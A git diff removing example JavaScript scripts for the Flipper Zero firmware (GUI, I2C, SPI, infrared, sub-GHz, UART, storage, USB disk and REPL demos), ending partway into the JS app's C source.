gui.viewDispatcher.switchTo(views.longText);
|
||||
} else if (index === 5) {
|
||||
let path = filePicker.pickFile("/ext", "*");
|
||||
if (path) {
|
||||
views.helloDialog.set("text", "You selected:\n" + path);
|
||||
} else {
|
||||
views.helloDialog.set("text", "You didn't select a file");
|
||||
}
|
||||
views.helloDialog.set("center", "Nice!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
} else if (index === 6) {
|
||||
gui.viewDispatcher.switchTo(views.stopwatchWidget);
|
||||
} else if (index === 7) {
|
||||
gui.viewDispatcher.switchTo(views.buttonMenu);
|
||||
} else if (index === 8) {
|
||||
gui.viewDispatcher.switchTo(views.buttonPanel);
|
||||
} else if (index === 9) {
|
||||
gui.viewDispatcher.switchTo(views.menu);
|
||||
} else if (index === 10) {
|
||||
gui.viewDispatcher.switchTo(views.numberKbd);
|
||||
} else if (index === 11) {
|
||||
views.popup.set("timeout", 2000);
|
||||
gui.viewDispatcher.switchTo(views.popup);
|
||||
} else if (index === 12) {
|
||||
gui.viewDispatcher.switchTo(views.viList);
|
||||
} else if (index === 13) {
|
||||
eventLoop.stop();
|
||||
}
|
||||
}, gui, eventLoop, views);
|
||||
|
||||
// say hi after keyboard input
|
||||
eventLoop.subscribe(views.keyboard.input, function (_sub, name, gui, views) {
|
||||
views.keyboard.set("defaultText", name); // Remember for next usage
|
||||
views.helloDialog.set("text", "Hi " + name + "! :)");
|
||||
views.helloDialog.set("center", "Hi Flipper! :)");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// go back after the greeting dialog
|
||||
eventLoop.subscribe(views.helloDialog.input, function (_sub, button, gui, views) {
|
||||
if (button === "center")
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
}, gui, views);
|
||||
|
||||
// show data after byte input
|
||||
eventLoop.subscribe(views.bytekb.input, function (_sub, data, gui, views) {
|
||||
let data_view = Uint8Array(data);
|
||||
let text = "0x";
|
||||
for (let i = 0; i < data_view.length; i++) {
|
||||
text += data_view[i].toString(16);
|
||||
}
|
||||
views.helloDialog.set("text", "You typed:\n" + text);
|
||||
views.helloDialog.set("center", "Cool!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// go to the demo chooser screen when the back key is pressed
|
||||
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, gui, views, eventLoop) {
|
||||
if (gui.viewDispatcher.currentView === views.demos) {
|
||||
eventLoop.stop();
|
||||
return;
|
||||
}
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
}, gui, views, eventLoop);
|
||||
|
||||
// go to the demo chooser screen when the right key is pressed on the widget screen
|
||||
eventLoop.subscribe(views.stopwatchWidget.button, function (_sub, buttonEvent, gui, views) {
|
||||
if (buttonEvent.key === "right" && buttonEvent.type === "short")
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
}, gui, views);
|
||||
|
||||
// count time
|
||||
eventLoop.subscribe(eventLoop.timer("periodic", 500), function (_sub, _item, views, stopwatchWidgetElements, halfSeconds) {
|
||||
let text = math.floor(halfSeconds / 2 / 60).toString();
|
||||
if (halfSeconds < 10 * 60 * 2)
|
||||
text = "0" + text;
|
||||
|
||||
text += (halfSeconds % 2 === 0) ? ":" : " ";
|
||||
|
||||
if (((halfSeconds / 2) % 60) < 10)
|
||||
text += "0";
|
||||
text += (math.floor(halfSeconds / 2) % 60).toString();
|
||||
|
||||
stopwatchWidgetElements[0].text = text;
|
||||
views.stopwatchWidget.setChildren(stopwatchWidgetElements);
|
||||
|
||||
halfSeconds++;
|
||||
return [views, stopwatchWidgetElements, halfSeconds];
|
||||
}, views, stopwatchWidgetElements, 0);
|
||||
|
||||
// go back after popup times out
|
||||
eventLoop.subscribe(views.popup.timeout, function (_sub, _item, gui, views) {
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
}, gui, views);
|
||||
|
||||
// button menu callback
|
||||
eventLoop.subscribe(views.buttonMenu.input, function (_sub, input, gui, views) {
|
||||
views.helloDialog.set("text", "You selected #" + input.index.toString());
|
||||
views.helloDialog.set("center", "Cool!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// button panel callback
|
||||
eventLoop.subscribe(views.buttonPanel.input, function (_sub, input, gui, views) {
|
||||
views.helloDialog.set("text", "You selected #" + input.index.toString());
|
||||
views.helloDialog.set("center", "Cool!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// menu callback
|
||||
eventLoop.subscribe(views.menu.chosen, function (_sub, index, gui, views) {
|
||||
views.helloDialog.set("text", "You selected #" + index.toString());
|
||||
views.helloDialog.set("center", "Cool!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// menu callback
|
||||
eventLoop.subscribe(views.numberKbd.input, function (_sub, number, gui, views) {
|
||||
views.helloDialog.set("text", "You typed " + number.toString());
|
||||
views.helloDialog.set("center", "Cool!");
|
||||
gui.viewDispatcher.switchTo(views.helloDialog);
|
||||
}, gui, views);
|
||||
|
||||
// ignore VI list
|
||||
eventLoop.subscribe(views.viList.valueUpdate, function (_sub, _item) {});
|
||||
|
||||
// run UI
|
||||
gui.viewDispatcher.switchTo(views.demos);
|
||||
eventLoop.run();
|
||||
@@ -1,51 +0,0 @@
|
||||
// Script cannot work without i2c module so check before
|
||||
checkSdkFeatures(["i2c"]);
|
||||
|
||||
// Connect an 24C32N EEPROM to the I2C bus of the board. SDA=pin 15, SCL=pin 16, VCC=pin 9, GND=pin 8.
|
||||
let i2c = require("i2c");
|
||||
|
||||
function i2c_find_first_device() {
|
||||
let addr = -1;
|
||||
for (let try_addr = 0; try_addr !== 0xff; try_addr++) {
|
||||
if (i2c.isDeviceReady(try_addr, 5)) {
|
||||
addr = try_addr;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
let addr = i2c_find_first_device();
|
||||
if (addr === -1) {
|
||||
print("I2C device not found");
|
||||
print("Please connect a 24C32N EEPROM I2C device to the Flipper Zero.");
|
||||
print("SDA=pin 15, SCL=pin 16, VCC=pin 9, GND=pin 8.");
|
||||
} else {
|
||||
print("I2C device found at address: " + addr.toString(16));
|
||||
delay(1000);
|
||||
|
||||
// first two bytes are the start address (0x0000)
|
||||
// the remaining bytes are the data to store.
|
||||
// can also use Uint8Array([0x00, 0x00, ...]) as write parameter
|
||||
i2c.write(addr, [0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47]);
|
||||
while (i2c.isDeviceReady(addr, 9) === false) {
|
||||
print("Waiting for device to be ready...");
|
||||
}
|
||||
|
||||
// write the address to read from (we start at address 0x0001)
|
||||
// read 3 bytes - 0x42, 0x43, 0x44
|
||||
let data_buf = i2c.writeRead(addr, [0x00, 0x01], 3, 100);
|
||||
let data = Uint8Array(data_buf);
|
||||
print("Read bytes: " + data.length.toString());
|
||||
for (let i = 0; i < data.length; i++) {
|
||||
print("data[" + i.toString() + "] = " + data[i].toString(16));
|
||||
}
|
||||
|
||||
// read two more bytes (0x45, 0x46) from current address
|
||||
data_buf = i2c.read(addr, 2);
|
||||
data = Uint8Array(data_buf);
|
||||
print("Read bytes: " + data.length.toString());
|
||||
for (let i = 0; i < data.length; i++) {
|
||||
print("data[" + i.toString() + "] = " + data[i].toString(16));
|
||||
}
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
checkSdkFeatures(["infrared-send"]);
|
||||
let infrared = require("infrared");
|
||||
|
||||
print("Sending Samsung32 signal (lowers volume)...");
|
||||
infrared.sendSignal("Samsung32", 0x00000007, 0x0000000b);
|
||||
delay(1000);
|
||||
print("Sending raw signal... (Fujitsu AC)");
|
||||
infrared.sendRawSignal(
|
||||
[
|
||||
3298, 1571, 442, 368, 442, 367, 443, 1180, 442, 370, 440, 1181, 442, 368,
|
||||
442, 367, 442, 368, 442, 1180, 443, 1180, 442, 368, 441, 367, 442, 369, 441,
|
||||
1180, 442, 1180, 443, 368, 442, 369, 441, 368, 442, 368, 442, 368, 442, 368,
|
||||
441, 368, 441, 368, 442, 368, 442, 368, 442, 367, 442, 368, 442, 366, 444,
|
||||
1181, 442, 368, 441, 367, 442, 368, 442, 367, 442, 369, 441, 367, 443, 367,
|
||||
442, 1180, 442, 368, 442, 368, 442, 368, 441, 368, 441, 1180, 442, 1180,
|
||||
442, 1181, 442, 1181, 441, 1181, 442, 1181, 442, 1181, 442, 1181, 442, 369,
|
||||
441, 368, 441, 1182, 442, 367, 443, 367, 443, 367, 442, 368, 442, 1181, 441,
|
||||
369, 441, 369, 441, 369, 441, 1180, 442, 1181, 441, 369, 442, 368, 442, 367,
|
||||
442, 368, 441, 1181, 441, 1183, 440, 368, 442, 368, 441, 369, 441, 1181,
|
||||
442, 368, 442, 367, 443, 1181, 442, 368, 442, 369, 441, 368, 441, 369, 440,
|
||||
368, 442, 367, 443, 367, 442, 367, 442, 367, 442, 368, 442, 369, 441, 369,
|
||||
441, 368, 442, 369, 441, 368, 441, 367, 443, 368, 442, 367, 442, 369, 441,
|
||||
369, 441, 368, 441, 367, 442, 367, 442, 368, 442, 368, 441, 368, 442, 368,
|
||||
442, 368, 441, 367, 442, 367, 442, 368, 442, 368, 441, 368, 442, 369, 441,
|
||||
368, 441, 367, 442, 368, 441, 368, 442, 368, 442, 368, 442, 368, 442, 367,
|
||||
442, 1181, 442, 367, 442, 368, 441, 1181, 442, 1182, 441, 1181, 442, 1181,
|
||||
442, 1181, 441, 368, 442, 368, 442, 369, 441,
|
||||
],
|
||||
true,
|
||||
{ frequency: 38000, dutyCycle: 0.33 },
|
||||
);
|
||||
delay(1000);
|
||||
print(
|
||||
"Sending raw signal... (Fujitsu AC) with default frequency and duty cycle",
|
||||
);
|
||||
infrared.sendRawSignal([
|
||||
3300, 1596, 416, 362, 448, 363, 446, 1177, 445, 363, 446, 1177, 445, 362, 448,
|
||||
362, 448, 364, 446, 1178, 444, 1207, 415, 362, 448, 362, 448, 363, 447, 1177,
|
||||
445, 1177, 446, 362, 448, 362, 447, 362, 447, 362, 448, 363, 447, 362, 447,
|
||||
363, 447, 363, 447, 363, 446, 363, 446, 362, 447, 362, 447, 363, 446, 1177,
|
||||
445, 363, 447, 364, 446, 362, 448, 363, 447, 363, 446, 362, 447, 362, 448,
|
||||
1175, 447, 363, 447, 364, 446, 362, 448, 362, 448, 1176, 446, 362, 448, 362,
|
||||
448, 363, 446, 362, 448, 362, 448, 363, 447, 1175, 446, 394, 415, 1176, 446,
|
||||
1178, 444, 1174, 449, 1177, 445, 1180, 443, 1179, 443,
|
||||
]);
|
||||
|
||||
print("Success");
|
||||
@@ -1,93 +0,0 @@
|
||||
let eventLoop = require("event_loop");
|
||||
let gui = require("gui");
|
||||
let dialog = require("gui/dialog");
|
||||
let textInput = require("gui/text_input");
|
||||
let loading = require("gui/loading");
|
||||
let storage = require("storage");
|
||||
|
||||
// No eval() or exec() so need to run code from file, and filename must be unique
|
||||
storage.makeDirectory("/ext/.tmp");
|
||||
storage.makeDirectory("/ext/.tmp/js");
|
||||
storage.rmrf("/ext/.tmp/js/repl")
|
||||
storage.makeDirectory("/ext/.tmp/js/repl")
|
||||
let ctx = {
|
||||
tmpTemplate: "/ext/.tmp/js/repl/",
|
||||
tmpNumber: 0,
|
||||
persistentScope: {},
|
||||
};
|
||||
|
||||
let views = {
|
||||
dialog: dialog.makeWith({
|
||||
header: "Interactive Console",
|
||||
text: "Press OK to Start",
|
||||
center: "Run Some JS"
|
||||
}),
|
||||
textInput: textInput.makeWith({
|
||||
header: "Type JavaScript Code:",
|
||||
minLength: 0,
|
||||
maxLength: 256,
|
||||
defaultText: "2+2",
|
||||
defaultTextClear: true,
|
||||
}),
|
||||
loading: loading.make(),
|
||||
};
|
||||
|
||||
eventLoop.subscribe(views.dialog.input, function (_sub, button, gui, views) {
|
||||
if (button === "center") {
|
||||
gui.viewDispatcher.switchTo(views.textInput);
|
||||
}
|
||||
}, gui, views);
|
||||
|
||||
eventLoop.subscribe(views.textInput.input, function (_sub, text, gui, views, ctx) {
|
||||
gui.viewDispatcher.switchTo(views.loading);
|
||||
|
||||
let path = ctx.tmpTemplate + (ctx.tmpNumber++).toString();
|
||||
let file = storage.openFile(path, "w", "create_always");
|
||||
file.write(text);
|
||||
file.close();
|
||||
|
||||
// Hide GUI before running, we want to see console and avoid deadlock if code fails
|
||||
gui.viewDispatcher.sendTo("back");
|
||||
let result = load(path, ctx.persistentScope); // Load runs JS and returns last value on stack
|
||||
storage.remove(path);
|
||||
|
||||
// Must convert to string explicitly
|
||||
if (result === null) { // mJS: typeof null === "null", ECMAScript: typeof null === "object", IDE complains when checking "null" type
|
||||
result = "null";
|
||||
} else if (typeof result === "string") {
|
||||
result = "'" + result + "'";
|
||||
} else if (typeof result === "number") {
|
||||
result = result.toString();
|
||||
} else if (typeof result === "bigint") { // mJS doesn't support BigInt() but might aswell check
|
||||
result = "bigint";
|
||||
} else if (typeof result === "boolean") {
|
||||
result = result ? "true" : "false";
|
||||
} else if (typeof result === "symbol") { // mJS doesn't support Symbol() but might aswell check
|
||||
result = "symbol";
|
||||
} else if (typeof result === "undefined") {
|
||||
result = "undefined";
|
||||
} else if (typeof result === "object") {
|
||||
result = "object"; // JSON.stringify() is not implemented
|
||||
} else if (typeof result === "function") {
|
||||
result = "function";
|
||||
} else {
|
||||
result = "unknown type: " + typeof result;
|
||||
}
|
||||
|
||||
gui.viewDispatcher.sendTo("front");
|
||||
views.dialog.set("header", "JS Returned:");
|
||||
views.dialog.set("text", result);
|
||||
gui.viewDispatcher.switchTo(views.dialog);
|
||||
views.textInput.set("defaultText", text);
|
||||
}, gui, views, ctx);
|
||||
|
||||
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, eventLoop) {
|
||||
eventLoop.stop();
|
||||
}, eventLoop);
|
||||
|
||||
gui.viewDispatcher.switchTo(views.dialog);
|
||||
|
||||
// Message behind GUI if something breaks
|
||||
print("If you're stuck here, something went wrong, re-run the script")
|
||||
eventLoop.run();
|
||||
print("\n\nFinished correctly :)")
|
||||
@@ -1,3 +0,0 @@
|
||||
let math = load(__dirname + "/load_api.js");
|
||||
let result = math.add(5, 10);
|
||||
print(result);
|
||||
@@ -1,3 +0,0 @@
|
||||
({
|
||||
add: function (a, b) { return a + b; },
|
||||
})
|
||||
@@ -1,24 +0,0 @@
|
||||
let math = require("math");
|
||||
|
||||
print("math.abs(-5):", math.abs(-5));
|
||||
print("math.acos(0.5):", math.acos(0.5));
|
||||
print("math.acosh(2):", math.acosh(2));
|
||||
print("math.asin(0.5):", math.asin(0.5));
|
||||
print("math.asinh(2):", math.asinh(2));
|
||||
print("math.atan(1):", math.atan(1));
|
||||
print("math.atan2(1, 1):", math.atan2(1, 1));
|
||||
print("math.atanh(0.5):", math.atanh(0.5));
|
||||
print("math.cbrt(27):", math.cbrt(27));
|
||||
print("math.ceil(5.3):", math.ceil(5.3));
|
||||
print("math.clz32(1):", math.clz32(1));
|
||||
print("math.cos(math.PI):", math.cos(math.PI));
|
||||
print("math.exp(1):", math.exp(1));
|
||||
print("math.floor(5.7):", math.floor(5.7));
|
||||
print("math.max(3, 5):", math.max(3, 5));
|
||||
print("math.min(3, 5):", math.min(3, 5));
|
||||
print("math.pow(2, 3):", math.pow(2, 3));
|
||||
print("math.random():", math.random());
|
||||
print("math.sign(-5):", math.sign(-5));
|
||||
print("math.sin(math.PI/2):", math.sin(math.PI / 2));
|
||||
print("math.sqrt(25):", math.sqrt(25));
|
||||
print("math.trunc(5.7):", math.trunc(5.7));
|
||||
@@ -1,9 +0,0 @@
|
||||
let notify = require("notification");
|
||||
notify.error();
|
||||
delay(1000);
|
||||
notify.success();
|
||||
delay(1000);
|
||||
for (let i = 0; i < 10; i++) {
|
||||
notify.blink("red", "short");
|
||||
delay(500);
|
||||
}
|
||||
@@ -1,9 +0,0 @@
|
||||
let storage = require("storage");
|
||||
|
||||
print("script has __dirname of" + __dirname);
|
||||
print("script has __filename of" + __filename);
|
||||
if (storage.fileExists(__dirname + "/math.js")) {
|
||||
print("math.js exist here.");
|
||||
} else {
|
||||
print("math.js does not exist here.");
|
||||
}
|
||||
@@ -1,92 +0,0 @@
|
||||
// Script cannot work without spi module so check before
|
||||
checkSdkFeatures(["spi"]);
|
||||
|
||||
// Connect a w25q32 SPI device to the Flipper Zero.
|
||||
// D1=pin 2 (MOSI), SLK=pin 5 (SCK), GND=pin 8 (GND), D0=pin 3 (MISO), CS=pin 4 (CS), VCC=pin 9 (3V3)
|
||||
let spi = require("spi");
|
||||
|
||||
// Display textbox so user can scroll to see all output.
|
||||
let eventLoop = require("event_loop");
|
||||
let gui = require("gui");
|
||||
let textBoxView = require("gui/text_box");
|
||||
let text = "SPI demo\n";
|
||||
let textBox = textBoxView.makeWith({
|
||||
focus: "end",
|
||||
font: "text",
|
||||
text: text,
|
||||
});
|
||||
|
||||
function addText(add) {
|
||||
text += add;
|
||||
textBox.set("text", text);
|
||||
}
|
||||
|
||||
gui.viewDispatcher.switchTo(textBox);
|
||||
|
||||
// writeRead returns a buffer the same length as the input buffer.
|
||||
// We send 6 bytes of data, starting with 0x90, which is the command to read the manufacturer ID.
|
||||
// Can also use Uint8Array([0x90, 0x00, ...]) as write parameter
|
||||
// Optional timeout parameter in ms. We set to 100ms.
|
||||
let data_buf = spi.writeRead([0x90, 0x0, 0x0, 0x0, 0x0, 0x0], 100);
|
||||
let data = Uint8Array(data_buf);
|
||||
if (data.length === 6) {
|
||||
if (data[4] === 0xEF) {
|
||||
addText("Found Winbond device\n");
|
||||
if (data[5] === 0x15) {
|
||||
addText("Device ID: W25Q32\n");
|
||||
} else {
|
||||
addText("Unknown device ID: " + data[5].toString(16) + "\n");
|
||||
}
|
||||
} else if (data[4] === 0x0) {
|
||||
addText("Be sure Winbond W25Q32 is connected to Flipper Zero SPI pins.\n");
|
||||
} else {
|
||||
addText("Unknown device. Manufacturer ID: " + data[4].toString(16) + "\n");
|
||||
}
|
||||
}
|
||||
|
||||
addText("\nReading JEDEC ID\n");
|
||||
|
||||
// Acquire the SPI bus. Multiple calls will happen with Chip Select (CS) held low.
|
||||
spi.acquire();
|
||||
|
||||
// Send command (0x9F) to read JEDEC ID.
|
||||
// Can also use Uint8Array([0x9F]) as write parameter
|
||||
// Note: you can pass an optional timeout parameter in milliseconds.
|
||||
spi.write([0x9F]);
|
||||
|
||||
// Request 3 bytes of data.
|
||||
// Note: you can pass an optional timeout parameter in milliseconds.
|
||||
data_buf = spi.read(3);
|
||||
|
||||
// Release the SPI bus as soon as we are done with the set of SPI commands.
|
||||
spi.release();
|
||||
|
||||
data = Uint8Array(data_buf);
|
||||
addText("JEDEC MF ID: " + data[0].toString(16) + "\n");
|
||||
addText("JEDEC Memory Type: " + data[1].toString(16) + "\n");
|
||||
addText("JEDEC Capacity ID: " + data[2].toString(16) + "\n");
|
||||
|
||||
if (data[0] === 0xEF) {
|
||||
addText("Found Winbond device\n");
|
||||
}
|
||||
let capacity = data[1] << 8 | data[2];
|
||||
if (capacity === 0x4016) {
|
||||
addText("Device: W25Q32\n");
|
||||
} else if (capacity === 0x4015) {
|
||||
addText("Device: W25Q16\n");
|
||||
} else if (capacity === 0x4014) {
|
||||
addText("Device: W25Q80\n");
|
||||
} else {
|
||||
addText("Unknown device\n");
|
||||
}
|
||||
|
||||
// Wait for user to close the app
|
||||
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, eventLoop) {
|
||||
eventLoop.stop();
|
||||
}, eventLoop);
|
||||
|
||||
// This script has no interaction, only textbox, so event loop doesn't need to be running all the time
|
||||
// We run it at the end to accept input for the back button press to quit
|
||||
// But before that, user sees a textbox and pressing back has no effect
|
||||
// This is fine because it allows simpler logic and the code above takes no time at all to run
|
||||
eventLoop.run();
|
||||
@@ -1,29 +0,0 @@
|
||||
let storage = require("storage");
|
||||
let path = "/ext/storage.test";
|
||||
|
||||
print("File exists:", storage.fileExists(path));
|
||||
|
||||
print("Writing...");
|
||||
let file = storage.openFile(path, "w", "create_always");
|
||||
file.write("Hello ");
|
||||
file.close();
|
||||
|
||||
print("File exists:", storage.fileExists(path));
|
||||
|
||||
file = storage.openFile(path, "w", "open_append");
|
||||
file.write("World!");
|
||||
file.close();
|
||||
|
||||
print("Reading...");
|
||||
file = storage.openFile(path, "r", "open_existing");
|
||||
let text = file.read("ascii", 128);
|
||||
file.close();
|
||||
print(text);
|
||||
|
||||
print("Removing...")
|
||||
storage.remove(path);
|
||||
|
||||
print("Done")
|
||||
|
||||
// You don't need to close the file after each operation, this is just to show some different ways to use the API
|
||||
// There's also many more functions and options, check type definitions in firmware repo
|
||||
@@ -1,19 +0,0 @@
|
||||
let sampleText = "Hello, World!";
|
||||
|
||||
let lengthOfText = "Length of text: " + sampleText.length.toString();
|
||||
print(lengthOfText);
|
||||
|
||||
let start = 7;
|
||||
let end = 12;
|
||||
let substringResult = sampleText.slice(start, end);
|
||||
print(substringResult);
|
||||
|
||||
let searchStr = "World";
|
||||
let result2 = sampleText.indexOf(searchStr).toString();
|
||||
print(result2);
|
||||
|
||||
let upperCaseText = "Text in upper case: " + sampleText.toUpperCase();
|
||||
print(upperCaseText);
|
||||
|
||||
let lowerCaseText = "Text in lower case: " + sampleText.toLowerCase();
|
||||
print(lowerCaseText);
|
||||
@@ -1,48 +0,0 @@
|
||||
// Script cannot work without subghz module so check before
|
||||
checkSdkFeatures(["subghz"]);
|
||||
|
||||
let subghz = require("subghz");
|
||||
subghz.setup();
|
||||
|
||||
function printRXline() {
|
||||
if (subghz.getState() !== "RX") {
|
||||
subghz.setRx(); // to RX
|
||||
}
|
||||
|
||||
let rssi = subghz.getRssi();
|
||||
let freq = subghz.getFrequency();
|
||||
let ext = subghz.isExternal();
|
||||
|
||||
print("rssi: ", rssi, "dBm", "@", freq, "MHz", "ext: ", ext);
|
||||
}
|
||||
|
||||
function changeFrequency(freq) {
|
||||
if (subghz.getState() !== "IDLE") {
|
||||
subghz.setIdle(); // need to be idle to change frequency
|
||||
}
|
||||
subghz.setFrequency(freq);
|
||||
}
|
||||
|
||||
subghz.setIdle();
|
||||
print(subghz.getState()); // "IDLE"
|
||||
subghz.setRx();
|
||||
print(subghz.getState()); // "RX"
|
||||
|
||||
changeFrequency(433920000);
|
||||
printRXline();
|
||||
delay(1000);
|
||||
|
||||
print("Sending 0.sub")
|
||||
subghz.transmitFile("/ext/subghz/0.sub");
|
||||
// Can also specify repeat count: subghz.transmitFile(path, repeat)
|
||||
// If not provided, defaults to 1 repeat for RAW and 10 repeats for parsed
|
||||
// These 10 repeats by default are to simulate holding the button on remote
|
||||
print("Send success");
|
||||
delay(1000);
|
||||
|
||||
changeFrequency(315000000);
|
||||
printRXline();
|
||||
|
||||
// Optional, done automatically at script end
|
||||
subghz.end()
|
||||
// But can be used to setup again, which will retry to detect external modules
|
||||
@@ -1,14 +0,0 @@
|
||||
let serial = require("serial");
|
||||
serial.setup("usart", 230400);
|
||||
|
||||
while (1) {
|
||||
let rx_data = serial.readBytes(1, 1000);
|
||||
if (rx_data !== undefined) {
|
||||
serial.write(rx_data);
|
||||
let data_view = Uint8Array(rx_data);
|
||||
print("0x" + data_view[0].toString(16));
|
||||
}
|
||||
}
|
||||
|
||||
// There's also serial.end(), so you can serial.setup() again in same script
|
||||
// You can also use serial.readAny(timeout), will avoid starving your loop with single byte reads
|
||||
@@ -1,15 +0,0 @@
|
||||
// This script is like uart_echo, except it uses 8E1 framing (8 data bits, even
|
||||
// parity, 1 stop bit) as opposed to the default 8N1 (8 data bits, no parity,
|
||||
// 1 stop bit)
|
||||
|
||||
let serial = require("serial");
|
||||
serial.setup("usart", 230400, { dataBits: "8", parity: "even", stopBits: "1" });
|
||||
|
||||
while (1) {
|
||||
let rx_data = serial.readBytes(1, 1000);
|
||||
if (rx_data !== undefined) {
|
||||
serial.write(rx_data);
|
||||
let data_view = Uint8Array(rx_data);
|
||||
print("0x" + data_view[0].toString(16));
|
||||
}
|
||||
}
|
||||
@@ -1,39 +0,0 @@
|
||||
// Script cannot work without usbdisk module so check before
|
||||
checkSdkFeatures(["usbdisk"]);
|
||||
|
||||
let usbdisk = require("usbdisk");
|
||||
let storage = require("storage");
|
||||
|
||||
let imagePath = "/ext/apps_data/mass_storage/128MB.img";
|
||||
let imageSize = 128 * 1024 * 1024;
|
||||
|
||||
let imageExisted = storage.fileExists(imagePath);
|
||||
if (imageExisted) {
|
||||
print("Disk image '128MB' already exists");
|
||||
} else {
|
||||
// CreateImage isn't necessary to overall function, check when its used not at script start
|
||||
if (doesSdkSupport(["usbdisk-createimage"])) {
|
||||
print("Creating disk image '128MB'...");
|
||||
usbdisk.createImage(imagePath, imageSize);
|
||||
} else {
|
||||
die("Disk image '128MB' not present, can't auto-create");
|
||||
}
|
||||
}
|
||||
|
||||
print("Starting UsbDisk...");
|
||||
usbdisk.start("/ext/apps_data/mass_storage/128MB.img");
|
||||
|
||||
print("Started, waiting until ejected...");
|
||||
while (!usbdisk.wasEjected()) {
|
||||
delay(1000);
|
||||
}
|
||||
|
||||
print("Ejected, stopping UsbDisk...");
|
||||
usbdisk.stop();
|
||||
|
||||
if (!imageExisted) {
|
||||
print("Removing disk image...");
|
||||
storage.remove(imagePath);
|
||||
}
|
||||
|
||||
print("Done");
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 88 B |
@@ -1,217 +0,0 @@
|
||||
#include <dialogs/dialogs.h>
|
||||
#include "js_thread.h"
|
||||
#include <storage/storage.h>
|
||||
#include "js_app_i.h"
|
||||
#include <toolbox/path.h>
|
||||
#include <assets_icons.h>
|
||||
#include <toolbox/cli/cli_command.h>
|
||||
#include <cli/cli_main_commands.h>
|
||||
#include <toolbox/pipe.h>
|
||||
|
||||
#define TAG "JS app"
|
||||
|
||||
typedef struct {
|
||||
JsThread* js_thread;
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
Loading* loading;
|
||||
JsConsoleView* console_view;
|
||||
} JsApp;
|
||||
|
||||
static uint32_t js_view_exit(void* context) {
|
||||
UNUSED(context);
|
||||
return VIEW_NONE;
|
||||
}
|
||||
|
||||
static void js_app_compact_trace(FuriString* trace_str) {
|
||||
// Keep only first line
|
||||
size_t line_end = furi_string_search_char(trace_str, '\n');
|
||||
if(line_end > 0) {
|
||||
furi_string_left(trace_str, line_end);
|
||||
}
|
||||
|
||||
// Remove full path
|
||||
FuriString* file_name = furi_string_alloc();
|
||||
size_t filename_start = furi_string_search_rchar(trace_str, '/');
|
||||
if(filename_start > 0) {
|
||||
filename_start++;
|
||||
furi_string_set_n(
|
||||
file_name, trace_str, filename_start, furi_string_size(trace_str) - filename_start);
|
||||
furi_string_printf(trace_str, "at %s", furi_string_get_cstr(file_name));
|
||||
}
|
||||
|
||||
furi_string_free(file_name);
|
||||
}
|
||||
|
||||
static void js_callback(JsThreadEvent event, const char* msg, void* context) {
|
||||
JsApp* app = context;
|
||||
furi_assert(app);
|
||||
|
||||
if(event == JsThreadEventDone) {
|
||||
FURI_LOG_I(TAG, "Script done");
|
||||
console_view_print(app->console_view, "--- DONE ---");
|
||||
} else if(event == JsThreadEventPrint) {
|
||||
console_view_print(app->console_view, msg);
|
||||
} else if(event == JsThreadEventError) {
|
||||
console_view_print(app->console_view, "--- ERROR ---");
|
||||
console_view_print(app->console_view, msg);
|
||||
} else if(event == JsThreadEventErrorTrace) {
|
||||
FuriString* compact_trace = furi_string_alloc_set_str(msg);
|
||||
js_app_compact_trace(compact_trace);
|
||||
console_view_print(app->console_view, furi_string_get_cstr(compact_trace));
|
||||
furi_string_free(compact_trace);
|
||||
console_view_print(app->console_view, "See logs for full trace");
|
||||
}
|
||||
}
|
||||
|
||||
static JsApp* js_app_alloc(void) {
|
||||
JsApp* app = malloc(sizeof(JsApp));
|
||||
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
app->loading = loading_alloc();
|
||||
|
||||
app->gui = furi_record_open("gui");
|
||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher, JsAppViewLoading, loading_get_view(app->loading));
|
||||
|
||||
app->console_view = console_view_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher, JsAppViewConsole, console_view_get_view(app->console_view));
|
||||
view_set_previous_callback(console_view_get_view(app->console_view), js_view_exit);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, JsAppViewConsole);
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
static void js_app_free(JsApp* app) {
|
||||
console_view_free(app->console_view);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, JsAppViewConsole);
|
||||
loading_free(app->loading);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, JsAppViewLoading);
|
||||
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
furi_record_close("gui");
|
||||
|
||||
free(app);
|
||||
}
|
||||
|
||||
int32_t js_app(void* arg) {
|
||||
JsApp* app = js_app_alloc();
|
||||
|
||||
FuriString* script_path = furi_string_alloc_set(EXT_PATH("apps/Scripts"));
|
||||
do {
|
||||
if(arg != NULL && strlen(arg) > 0) {
|
||||
furi_string_set(script_path, (const char*)arg);
|
||||
} else {
|
||||
DialogsFileBrowserOptions browser_options;
|
||||
dialog_file_browser_set_basic_options(&browser_options, ".js", &I_js_script_10px);
|
||||
DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS);
|
||||
